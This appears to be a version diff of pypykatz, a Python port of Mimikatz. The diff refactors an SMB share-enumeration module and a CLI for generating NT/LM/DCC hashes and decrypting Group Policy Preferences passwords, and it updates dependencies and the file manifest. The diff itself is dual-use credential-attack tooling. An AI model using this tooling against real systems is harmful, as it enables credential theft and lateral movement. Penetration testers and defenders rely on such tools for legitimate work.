0 import asyncio
1 import os
2
3 from pypykatz import logging
4 from msldap.commons.url import MSLDAPURLDecoder
0 from msldap.commons.factory import LDAPConnectionFactory
51 from aiosmb.examples.smbshareenum import SMBFileEnum, ListTargetGen, FileTargetGen
62
73 def get_smb_url(authmethod = 'ntlm', protocol_version = '2', host = None):
3026
3127 async def generate(self):
3228 try:
33 conn_url = MSLDAPURLDecoder(self.url)
29 conn_url = LDAPConnectionFactory.from_url(self.url)
3430 connection = conn_url.get_client()
3531 _, err = await connection.connect()
3632 if err is not None:
5450
5551
5652 async def shareenum(smb_url, ldap_url = None, targets = None, smb_worker_count = 10, depth = 3, out_file = None, progress = False, max_items = None, dirsd = False, filesd = False, authmethod = 'ntlm', protocol_version = '2', output_type = 'str', max_runtime = None, exclude_share = ['print$'], exclude_dir = [], exclude_target = []):
57 from aiosmb.commons.connection.url import SMBConnectionURL
58 from pypykatz.alsadecryptor.asbmfile import SMBFileReader
59 from pypykatz.apypykatz import apypykatz
6053
61
62 if targets is None and ldap_url is None:
63 raise Exception('Shareenum needs a list of targets or LDAP connection string')
64
6554 if smb_url == 'auto':
6655 smb_url = get_smb_url(authmethod=authmethod, protocol_version=protocol_version)
6756
10089 enumerator.target_gens.append(LDAPTargetGen(ldap_url))
10190
10291 if len(enumerator.target_gens) == 0:
103 raise Exception('No suitable targets found!')
92 enumerator.enum_url = True
93 #raise Exception('No suitable targets found!')
10494
10595 await enumerator.run()
66 class CryptoCMDHelper:
77 def __init__(self):
88 self.live_keywords = []
9 self.keywords = ['nt','lm','dcc','dcc2','gppass']
9 self.keywords = ['crypto']
1010
1111 def add_args(self, parser, live_parser):
12 group = parser.add_parser('nt', help='Generates NT hash of the password')
12
13 crypto_group = parser.add_parser('crypto', help='Utils for generating hashes/decrypting secrets etc')
14 crypto_subparsers = crypto_group.add_subparsers()
15 crypto_subparsers.required = True
16 crypto_subparsers.dest = 'crypto_module'
17
18 group = crypto_subparsers.add_parser('nt', help='Generates NT hash of the password')
1319 group.add_argument('password', help= 'Password to be hashed')
1420
15 group = parser.add_parser('lm', help='Generates LM hash of the password')
21 group = crypto_subparsers.add_parser('lm', help='Generates LM hash of the password')
1622 group.add_argument('password', help= 'Password to be hashed')
1723
18 group = parser.add_parser('dcc', help='Generates DCC v1 (domain cached credentials version 1) hash of the password')
24 group = crypto_subparsers.add_parser('dcc', help='Generates DCC v1 (domain cached credentials version 1) hash of the password')
1925 group.add_argument('username', help= 'username')
2026 group.add_argument('password', help= 'Password to be hashed')
2127
22 group = parser.add_parser('dcc2', help='Generates DCC v2 (domain cached credentials version 2) hash of the password')
28 group = crypto_subparsers.add_parser('dcc2', help='Generates DCC v2 (domain cached credentials version 2) hash of the password')
2329 group.add_argument('username', help= 'username')
2430 group.add_argument('password', help= 'Password to be hashed')
2531 group.add_argument('-i','--iteration-count', type = int, default=10240, help= 'iteration-count')
2632
27 group = parser.add_parser('gppass', help='Decrypt GP passwords')
33 group = crypto_subparsers.add_parser('gppass', help='Decrypt GP passwords')
2834 group.add_argument('enc', help='Encrypted password string')
2935
3036 def execute(self, args):
3137 if args.command in self.keywords:
3238 self.run(args)
3339 if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords:
34 self.run_live(args)
40 raise Exception('There are no live commands for crypto.')
41 #self.run_live(args)
3542
3643 def run(self, args):
3744 from pypykatz.utils.crypto.winhash import NT, LM, MSDCC, MSDCCv2
3845 from pypykatz.utils.crypto.gppassword import gppassword
39 if args.command == 'nt':
46
47 if args.crypto_module == 'nt':
4048 print(NT(args.password).hex())
4149
42 elif args.command == 'lm':
50 elif args.crypto_module == 'lm':
4351 print(LM(args.password).hex())
4452
45 elif args.command == 'dcc':
53 elif args.crypto_module == 'dcc':
4654 print(MSDCC(args.username, args.password).hex())
4755
48 elif args.command == 'dcc2':
56 elif args.crypto_module == 'dcc2':
4957 print(MSDCCv2(args.username, args.password, args.iteration_count).hex())
5058
51 elif args.command == 'gppass':
59 elif args.crypto_module == 'gppass':
5260 print(gppassword(args.enc))
5361
00
11 import base64
2 from pypykatz.crypto.unified.aes import AES
3 from pypykatz.crypto.unified.common import SYMMETRIC_MODE
4 from pypykatz.crypto.unified.pkcs7 import unpad as pkcs7_unpad
2 from unicrypto.symmetric import AES, MODE_CBC
3 from unicrypto.backends.pure.padding.pkcs7 import unpad as pkcs7_unpad
54
65
76 def gppassword(pw_enc_b64):
1615
1716 pw_enc = base64.b64decode(pw_enc_b64)
1817
19 ctx = AES(AES_KEY, mode = SYMMETRIC_MODE.CBC, iv = AES_IV)
18 ctx = AES(AES_KEY, MODE_CBC, IV = AES_IV)
2019 pw_dec = pkcs7_unpad(ctx.decrypt(pw_enc))
2120
2221 return pw_dec.decode('utf-16-le')
33 # Tamas Jos (@skelsec)
44 #
55
6 import hashlib
7 from pypykatz.crypto.unified.des import DES, expand_DES_key
8 from pypykatz.crypto.unified.pbkdf2 import pbkdf2
6 from unicrypto.symmetric import DES, expand_DES_key
7 from unicrypto.pbkdf2 import pbkdf2
8 from unicrypto.hashlib import md4 as MD4
99
1010 def LM(password):
11 if password is None:
11 if password is None or password == '':
1212 return bytes.fromhex('aad3b435b51404eeaad3b435b51404ee')
1313 LM_SECRET = b'KGS!@#$%'
1414 password_uppercase = password.upper()
2525 return lm_hash
2626
2727 def NT(password):
28 if password is None:
28 if password is None or password == '':
2929 return bytes.fromhex('31d6cfe0d16ae931b73c59d7e0c089c0')
3030 password_bytes = password.encode('utf-16-le')
31 md4 = hashlib.new('md4')
32 md4.update(password_bytes)
33 nt_hash = md4.digest()
34 return nt_hash
31 md4 = MD4(password_bytes)
32 return md4.digest()
3533
3634 def MSDCC(username, password):
3735 nt_hash_of_password = NT(password)
3836 username_lower = username.lower()
3937 username_bytes = username_lower.encode('utf-16-le')
40 md4 = hashlib.new('md4')
41 md4.update(nt_hash_of_password)
42 md4.update(username_bytes)
38 md4 = MD4(nt_hash_of_password + username_bytes)
39 #md4.update(nt_hash_of_password)
40 #md4.update(username_bytes)
4341 dcc = md4.digest()
4442 return dcc
4543
0 Metadata-Version: 1.2
0 Metadata-Version: 2.1
11 Name: pypykatz
2 Version: 0.4.9
2 Version: 0.6.3
33 Summary: Python implementation of Mimikatz
44 Home-page: https://github.com/skelsec/pypykatz
55 Author: Tamas Jos
66 Author-email: [email protected]
7 License: UNKNOWN
8 Description: UNKNOWN
9 Platform: UNKNOWN
107 Classifier: Programming Language :: Python :: 3.6
118 Classifier: License :: OSI Approved :: MIT License
129 Classifier: Operating System :: OS Independent
1310 Requires-Python: >=3.6
11 License-File: LICENSE
6363 pypykatz/commons/readers/__init__.py
6464 pypykatz/commons/readers/local/__init__.py
6565 pypykatz/commons/readers/local/live_reader.py
66 pypykatz/commons/readers/local/process.py
6667 pypykatz/commons/readers/local/common/__init__.py
6768 pypykatz/commons/readers/local/common/advapi32.py
6869 pypykatz/commons/readers/local/common/defines.py
106107 pypykatz/commons/winapi/local/function_defs/psapi.py
107108 pypykatz/commons/winapi/local/function_defs/version.py
108109 pypykatz/commons/winapi/local/function_defs/winreg.py
109 pypykatz/crypto/MD4.py
110 pypykatz/crypto/RC4.py
111 pypykatz/crypto/__init__.py
112 pypykatz/crypto/des.py
113 pypykatz/crypto/aes/AES.py
114 pypykatz/crypto/aes/__init__.py
115 pypykatz/crypto/aes/blockfeeder.py
116 pypykatz/crypto/aes/util.py
117 pypykatz/crypto/unified/__init__.py
118 pypykatz/crypto/unified/aes.py
119 pypykatz/crypto/unified/aesgcm.py
120 pypykatz/crypto/unified/common.py
121 pypykatz/crypto/unified/des.py
122 pypykatz/crypto/unified/des3.py
123 pypykatz/crypto/unified/gcmtest.py
124 pypykatz/crypto/unified/pbkdf2.py
125 pypykatz/crypto/unified/pkcs7.py
126110 pypykatz/dpapi/__init__.py
127111 pypykatz/dpapi/cmdhelper.py
128112 pypykatz/dpapi/constants.py
129113 pypykatz/dpapi/dpapi.py
114 pypykatz/dpapi/extras.py
130115 pypykatz/dpapi/functiondefs/__init__.py
131116 pypykatz/dpapi/functiondefs/dpapi.py
132117 pypykatz/dpapi/structures/__init__.py
185170 pypykatz/lsadecryptor/packages/wdigest/__init__.py
186171 pypykatz/lsadecryptor/packages/wdigest/decryptor.py
187172 pypykatz/lsadecryptor/packages/wdigest/templates.py
173 pypykatz/parsers/__init__.py
174 pypykatz/parsers/cmdhelper.py
188175 pypykatz/plugins/__init__.py
189176 pypykatz/plugins/pypykatz_rekall.py
177 pypykatz/rdp/__init__.py
178 pypykatz/rdp/cmdhelper.py
179 pypykatz/rdp/parser.py
180 pypykatz/rdp/packages/__init__.py
181 pypykatz/rdp/packages/creds/__init__.py
182 pypykatz/rdp/packages/creds/decryptor.py
183 pypykatz/rdp/packages/creds/templates.py
190184 pypykatz/registry/__init__.py
191185 pypykatz/registry/aoffline_parser.py
192186 pypykatz/registry/cmdhelper.py
198192 pypykatz/registry/sam/sam.py
199193 pypykatz/registry/sam/structures.py
200194 pypykatz/registry/security/__init__.py
195 pypykatz/registry/security/acommon.py
201196 pypykatz/registry/security/asecurity.py
202197 pypykatz/registry/security/common.py
203198 pypykatz/registry/security/security.py
223218 pypykatz/smb/cmdhelper.py
224219 pypykatz/smb/dcsync.py
225220 pypykatz/smb/lsassutils.py
221 pypykatz/smb/printer.py
226222 pypykatz/smb/regutils.py
227223 pypykatz/smb/shareenum.py
228224 pypykatz/utils/__init__.py
00 [console_scripts]
11 pypykatz = pypykatz.__main__:main
2
0 aiosmb>=0.2.40
1 aiowinreg>=0.0.4
2 minidump>=0.0.17
3 minikerberos>=0.2.10
4 msldap>=0.3.27
5 winacl>=0.1.1
0 unicrypto>=0.0.9
1 minidump>=0.0.21
2 minikerberos>=0.3.5
3 aiowinreg>=0.0.7
4 msldap>=0.4.1
5 winacl>=0.1.5
6 aiosmb>=0.4.2
7 aesedb>=0.1.0
8 tqdm
4444
4545 # long_description=open("README.txt").read(),
4646 python_requires='>=3.6',
47 classifiers=(
47 classifiers=[
4848 "Programming Language :: Python :: 3.6",
4949 "License :: OSI Approved :: MIT License",
5050 "Operating System :: OS Independent",
51 ),
51 ],
5252 install_requires=[
53 'minidump>=0.0.17',
54 'minikerberos>=0.2.10',
55 'aiowinreg>=0.0.4',
56 'msldap>=0.3.27',
57 'winacl>=0.1.1',
58 'aiosmb>=0.2.40',
53 'unicrypto>=0.0.9',
54 'minidump>=0.0.21',
55 'minikerberos>=0.3.5',
56 'aiowinreg>=0.0.7',
57 'msldap>=0.4.1',
58 'winacl>=0.1.5',
59 'aiosmb>=0.4.2',
60 'aesedb>=0.1.0',
61 'tqdm',
5962 ],
6063
6164 # No more conveinent .exe entry point thanks to some idiot who